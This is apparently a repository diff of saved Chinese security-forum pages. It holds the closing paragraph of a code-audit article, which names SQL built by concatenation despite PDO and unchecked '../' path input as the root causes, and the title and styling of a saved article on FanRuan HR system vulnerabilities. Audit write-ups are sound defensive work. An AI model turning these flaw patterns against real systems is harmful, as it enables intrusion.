<p blockindex=91>通篇审下来,感觉最重要的就是代码逻辑和过滤操作,上述漏洞基本上都是错误逻辑和未健全的过滤机制导致的,例如:SQL查询使用了PDO但是没进行绑定而直接拼接了,文件操作类函数未对输入点验证 ../ 这种字符等等。因此,日后的审计无论从可控点或者高危函数出发,把握好每一条逻辑再结合绕过就对了。</p></div></div>
|
||||
</div>
|
||||
<div class="post-opt mt-30">
|
||||
<ul class="list-inline text-muted">
|
||||
<li>
|
||||
<i class="fa fa-clock-o"></i>
|
||||
发表于 2024-03-20 09:36:05
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,269 @@
|
||||
<!DOCTYPE html> <html lang=en style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://xz.aliyun.com/t/14069
|
||||
--><meta charset=utf-8>
|
||||
<title>帆软HR系统组合漏洞挖掘过程</title>
|
||||
<meta name=description content=先知社区,先知安全技术社区>
|
||||
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
|
||||
<style>/*!
|
||||
* Bootstrap v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h2,h4{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}code{-webkit-border-radius:3px;-moz-border-radius:3px}code{color:#d14}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn-primary{text-shadow:0-1px 0 rgba(0,0,0,0.25);bacLine truncated
|
||||
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;overflow:hidden}.markdown-body *{-moz-box-sizing:border-box}.markdown-body a:active,.markdown-body a:hover{outline:0;text-decoration:underline}.markdown-body>:first-child{margin-top:0 !important}.markdown-body>:last-child{margin-bottom:0 !important}.markdown-body img{-moz-box-sizing:border-box}.markdown-body code:after,.markdown-body code:before{letter-spacing:-.2em;content:" "}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>/*!
|
||||
* Bootstrap Responsive v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}@-ms-viewport{width:device-width}@media(min-width:768px) and (max-width:979px){}@media(max-width:767px){}@media(min-width:1200px){.row{margin-left:-30px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container{width:1170px}.span10{width:970px}input{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container{width:724px}.span10{width:600px}input{margin-left:0}}@media(max-width:767px){body{padding-right:0px;padding-left:0px}.container{width:auto}.row{margin-left:0}[class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.modal{position:fixed;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.modal{top:10px;right:10px;left:10px}}@media(max-width:979px){body{padding-top:0}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px}.nav-collapse{clear:both}.nav-collapse.collapse{height:0;overflow:hidden}}@media(min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important}}</style>
|
||||
<style>li{line-height:26px}a:hover{text-decoration:none}.post-user-action>span{margin-right:10px;line-height:21px;border:0}.post-user-action .i-seprator{color:rgba(0,0,0,0.1);margin:0 2px}.navbar .brand{padding:0;height:50px;margin-left:0;display:inline-block !important;background-repeat:no-repeat;width:120px;background-size:207px 50px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDIxLjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IuWbvuWxgl8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgODAwLjQgMTMwLjQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDgwMC40IDEzMC40OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkuc3Qwe2ZpbGw6IzM3M0Q0MTt9Cjwvc3R5bGU+Cjx0aXRsZT7lhYjnn6XmioDmnK/npL7ljLo8L3RpdGxlPgo8Zz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iMCwxMjEuNCAwLDI3LjMgNTYuMywyNy4zIAkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iODkuOSw4LjQgODkuOSwxMDIuNSAzMy41LDEwMi41IAkiLz4KPC9nPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMTMwLjcsNTguNGMtMi4zLTEuNC00LjctMi45LTcuMi00LjVjNi02LjksMTAuNy0xNi4yLDE0LjEtMjcuOWw4LjMsMS43Yy0wLjcsMS42LTEuNiwzLjktMi44LDYuOQoJYy0wLjcsMi4zLTEuMywzLjktMS43LDQuOGgxNy41VjI0aDguM3YxNS41aDI5LjZWNDdoLTI5LjZ2MTUuMWgzNC43VjcwaC0yNi41djIxLjNjLTAuMiwzLjQsMS42LDUsNS41LDQuOGg3LjIKCWMzLjIsMC4yLDUuMy0xLjMsNi4yLTQuNWMwLjItMS40LDAuNS00LjEsMC43LTguM2MwLDAuNywwLjEtMC4xLDAuMy0yLjRsNy42LDIuOGMtMC4yLDQuMS0wLjcsNy45LTEuNCwxMS40CgljLTEuNiw2LTUuOCw4LjgtMTIuNyw4LjZoLTEwLjdjLTcuNiwwLjItMTEuMi0zLjItMTEtMTAuM1Y3MC4xaC0xNS44djMuMWMwLDE1LjQtOS4xLDI2LjQtMjcuMiwzM2MtMS40LTIuMS0zLTQuNi00LjgtNy42CglDMTM1LjEsOTQsMTQzLDg1LjQsMTQzLDcyLjhWNzBoLTIyLjd2LTcuOWgzOC41VjQ3aC0yMS4zQzEzNS41LDUxLjEsMTMzLjIsNTQuOSwxMzAuNyw1OC40eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMjEzLjIsNTQuNmMtMC41LTAuMi0xLjItMC43LTIuMS0xLjRjLTEuOC0xLjQtMy4yLTIuMy00LjEtMi44YzQuOC04LjksOC4xLTE3LjksMTAtMjYuOGw3LjYsMS40CgljLTAuNSwxLjgtMS4zLDQuNC0yLjQsNy42Yy0wLjIsMS4yLTAuNSwyLTAuNywyLjRoMjQuMXY3LjJoLTEyYzAsOC43LTAuMSwxNC45LTAuMywxOC42aDE0LjFWNjhoLTE0LjhjMCwyLjMtMC4yLDQuNS0wLjcsNi41CgljMS42LDEuNiwzLjgsNCw2LjUsNy4yYzQuNiw0LjgsOCw4LjYsMTAuMywxMS40bC01LjgsNS4yYy0wLjktMS4yLTIuMy0yLjgtNC4xLTQuOGMtMS44LTIuMy00LjgtNS44LTguOS0xMC43CgljLTIuNSw3LjgtOC40LDE1LjUtMTcuNSwyMy4xYy0yLjMtMi44LTQuMS00LjgtNS41LTYuMmMxMS4yLTguOSwxNy4zLTE5LjUsMTguMi0zMS43aC0xNy4ydi03LjJoMTcuNWMwLjItMy45LDAuMy0xMC4xLDAuMy0xOC42CgloLTYuOUMyMTcuMSw0Ni4zLDIxNS4zLDUwLjQsMjEzLjIsNTQuNnogTTI1MS40LDEwMi43VjMxLjloMzUuOHY3MC41aC04LjN2LTcuNmgtMTkuNnY3LjlDMjU5LjMsMTAyLjcsMjUxLjQsMTAyLjcsMjUxLjQsMTAyLjd6CgkgTTI1OS4zLDM5LjR2NDcuOGgxOS42VjM5LjRIMjU5LjN6Ii8+CjxwYXRoIGNsYXNzPSJzdDAiIGQ9Ik0yOTcuMiw4MS4xYy0wLjItMC45LTAuNi0yLjMtMS00LjFjLTAuNy0xLjgtMS4yLTMuMi0xLjQtNC4xYzkuMi02LjIsMTYuNC0xNC4zLDIxLjctMjQuNGgtMTkuNnYtNi45aDI3LjV2Ny4yCgljLTIuNSw1LjUtNS40LDEwLjQtOC42LDE0Ljh2NDIuM2gtNy42VjcyLjFDMzA1LDc1LjEsMzAxLjQsNzguMSwyOTcuMiw4MS4xeiBNMzExLjcsNDAuNWMtMC4yLTAuNS0wLjYtMS4xLTEtMi4xCgljLTIuOC02LTQuNi05LjctNS41LTExLjRsNi45LTMuMWMwLjcsMS4yLDEuOCwzLjMsMy40LDYuNWMxLjYsMywyLjgsNS4yLDMuNCw2LjVMMzExLjcsNDAuNXogTTMyNi44LDgwLjcKCWMtMS42LTIuMS00LjctNS42LTkuMy0xMC43Yy0wLjItMC4yLTAuNS0wLjUtMC43LTAuN2w0LjgtNC41YzIuMSwxLjgsNC45LDQuNiw4LjYsOC4zYzEuMSwxLjIsMS45LDIsMi40LDIuNEwzMjYuOCw4MC43egoJIE0zMjguNSw1Ni42VjQ5aDE4LjZWMjQuM2g4LjN2MjQuOEgzNzV2Ny42aC0xOS42djM5LjJoMjIuNHY2LjloLTUzdi02LjloMjIuNFY1Ni42SDMyOC41eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMzg5LjgsMTAxLjRWMjkuMUg0NjJ2Ny42aC02NC4zdjU3LjhoNjUuN3Y2LjlIMzg5Ljh6IE00NTAuMyw5MC40Yy02LjItNi42LTEyLjYtMTMtMTkuMy0xOC45CgljLTYsNS43LTEzLjQsMTIuMy0yMi40LDE5LjZjLTEuNC0xLjYtMy40LTMuOC02LjItNi41YzguMy01LjcsMTUuOC0xMiwyMi43LTE4LjljLTYuOS02LjQtMTMuOC0xMi43LTIwLjYtMTguOWw2LjItNS4yTDQzMSw2MC4yCgljNS41LTYuMiwxMC45LTEyLjgsMTYuMi0yMGw3LjIsNC41Yy01LjcsNy42LTExLjYsMTQuNC0xNy41LDIwLjZjNi45LDYuNywxMy42LDEzLDIwLjMsMTguOUw0NTAuMyw5MC40eiIvPgo8L3N2Zz4K)}.brand-box{position:absolute}.related-section{min-height:42px;padding:5px 0;margin-top:25px;border-top:1px solid #eee}.related-section>.related-box{margin-top:17px}.related-section>.related-box>span{display:inline-block;padding:3px}.related-section>.related-box>span:nth-child(1){width:47%}.related-section>.related-box>span:nth-child(2){border-left:1px solid #eee;padding-left:8px;float:right;width:46%}.related-box .related-label{padding:3px 4px;margin-right:3px}@media screen{.navbar{margin-bottom:12px;overflow:visible}}@media screen and (min-width:1950px){}@media screen and (min-width:1660px) and (max-width:1945px){}@media screen and (min-width:1350px) and (max-width:1659px){}@media screen and (min-width:1100px) and (max-width:1349px){}@media only screen and (max-width:1100px){}@media only screen and (min-width:768px){}@media only screen and (max-width:736px){.brand{margin:0 auto}.brand-box{left:15px}}@media screen and (min-width:768px) and (max-width:1219px){}@media only screen and (min-width:320px) and (max-width:374px){}@media onlLine truncated
|
||||
<style>a{color:#778087}.topic-list p{margin:0}.topic-content{min-height:40px}.collapse form{position:relative;width:300px;float:right}div.search{padding:10px 0}.d1 input{height:20px;padding-left:18px;border:1px solid #ddd;border-radius:15px;outline:0;background:#fff;color:#9e9c9c;float:right}.vote{font-weight:normal;margin-left:6px}.topic-list{word-break:break-all;word-wrap:break-word}ul{margin:0 0 10px 0}/*!*border-bottom: solid #eee 1px;*!*/.user-info{padding:5px 0 5px 0}.topic-info a,.topic-info{padding-top:5px}.topic-info a:hover{text-decoration:solid}.reminder{min-height:200px;border:1px #ddd solid;border-radius:3px;line-height:200px;text-align:center}</style>
|
||||
<style>body{background-color:#eee}img{max-width:100%}form{margin:0 !important}a:focus{text-decoration:none}.markdown-body p>code{white-space:normal;word-break:break-all;border:none !important}.box ul,ol{margin-bottom:0px !important}.box a:hover{text-decoration:none}.box-container>ul>li{list-style-type:none}#Wrapper .row.box{margin-left:0px}.navbar-inner{border-radius:0px;min-height:40px;padding-right:0px;padding-left:0px;outline:0;margin-bottom:0;list-style:none;z-index:1050;background:#fff;-webkit-box-shadow:0 1px 4px rgba(0,21,41,0.08);box-shadow:0 1px 4px rgba(0,21,41,0.08);line-height:46px;-webkit-transition:background .3s,width .2s;-o-transition:background .3s,width .2s;transition:background .3s,width .2s}.bs-docs-footer{text-align:left;color:#99979c;height:64px;background-color:#FFF;border-top:1px solid rgba(0,0,0,0.22);line-height:64px}.bs-docs-footer .links>a{display:inline-block;padding:0 12px;border-left:1px solid #e8e8e8;color:#8c8c8c;line-height:1}.bs-docs-footer .links>a:first-child{border-left:0}.box-container .user-info{margin-bottom:10px;background:#fff}.content-title{font-size:24px;color:#333;text-decoration:none;line-height:24px;text-shadow:0 1px 0#fff}.markdown-body h2{border-bottom:0}.box-container{padding:20px}.breadcrumb{padding:8px 10px 8px 15px;margin-bottom:10px;border-radius:0;color:#000;background-color:#fff}.breadcrumb>li{text-shadow:none !important;margin:2px 0px}.active{text-shadow:none !important}.breadcrumb .active{color:#555;display:inline-block;text-shadow:none !important}.label{background-color:#f4f4f4;line-height:12px;display:inline-block;padding:4px 4px 4px 4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;text-decoration:none;text-shadow:none;font-weight:normal}.topic-info{color:#999 !important;font-size:12px !important}.topic-info a{padding:0px;color:#555 !important;font-size:12px !important}.topic-info a:hover{color:#4d5256;text-decoration:underline}.topic-info .cell{padding-left:0 !important;margin-left:0px;font-size:10px;font-weight:bold}.markdown-body img{max-width:90% !important;text-align:center;margin-left:auto;margin-right:auto;display:block;padding:10px 0px 10px 0px}.topic-info span{margin-left:0px;font-size:10px;color:rgba(0,0,0,0.45)}.btn{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;background-color:#f4f4f4;color:#444;border-color:#ddd;font-family:"Helvetica Neue For Number",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;list-style:none;font-weight:400;text-align:center;cursor:pointer;background-image:none;white-space:nowrap;border-radius:2px;height:32px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.box{font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;color:rgba(0,0,0,0.65);-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:0 !important;margin-bottom:20px;padding:0;list-style:none;background:#fff;border-radius:2px;position:relative;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;-moz-box-shadow:0 1px 1px rgba(0,0,0,0.15);-webkit-box-shadow:0 1px 1px rgba(143,168,191,.35);box-shadow:0 1px 1px rgba(143,168,191,.35);border-bottom:1px solid #e2e2e9}.span10{float:left;min-height:1px}#Wrapper .span10{margin-left:0px !important;max-width:960px}@media(min-width:1200px){.container{width:82% !important}}@media screen and (min-width:1500px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:810px !important}}@media screen and (min-width:980px) and (max-width:1499px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:74% !important}}@media screen and (min-width:768px) and (max-width:979px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:90% !important}#Wrapper .span10{width:77% !important}.nav-collapse{clear:none !important;height:auto !important;overflow:auto !important;float:right}}@media screen and (max-width:767px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:100% !important}.topic-info .info-left,.topic-info .info-right{display:block}.topic-info .info-right{margin-top:10px}.topic-info span{margin-left:0px}}@media screen and (max-width:419px){body{padding-left:0px !important;padding-right:0px !important}}.content-node{padding-left:5px}@media(max-width:979px){.content-node{display:none}.t-vote{display:none !important}}@media(max-width:376px){}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}</style>
|
||||
<style>/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/.pull-right{float:right}.pull-left{float:left}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{color:#333;font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:15px;line-height:24px;letter-spacing:.05em;word-wrap:break-word}.markdown-body a{background:transparent}.markdown-body a:active,.markdown-body a:hover{outline:0}.markdown-body strong{font-weight:bold}.markdown-body img{border:0}.markdown-body *{-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body a{color:#4183c4;text-decoration:none}.markdown-body a:hover,.markdown-body a:active{text-decoration:underline}.markdown-body code{font-family:Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body h2{position:relative;margin-top:1em;margin-bottom:16px;font-weight:bold}.markdown-body h2{padding-bottom:0em;font-size:24px;line-height:1.225}.markdown-body p{margin-top:0;margin-bottom:24px}.markdown-body img{max-width:100%;-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body code{padding:0;padding-top:.2em;padding-bottom:.2em;margin:0;font-size:85%;background-color:rgba(0,0,0,0.04);border-radius:3px}.markdown-body code:before,.markdown-body code:after{letter-spacing:-0.2em;content:" "}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
||||
<!--[if lte IE 8]>
|
||||
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
||||
<![endif]-->
|
||||
<!--[if !IE]> -->
|
||||
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes 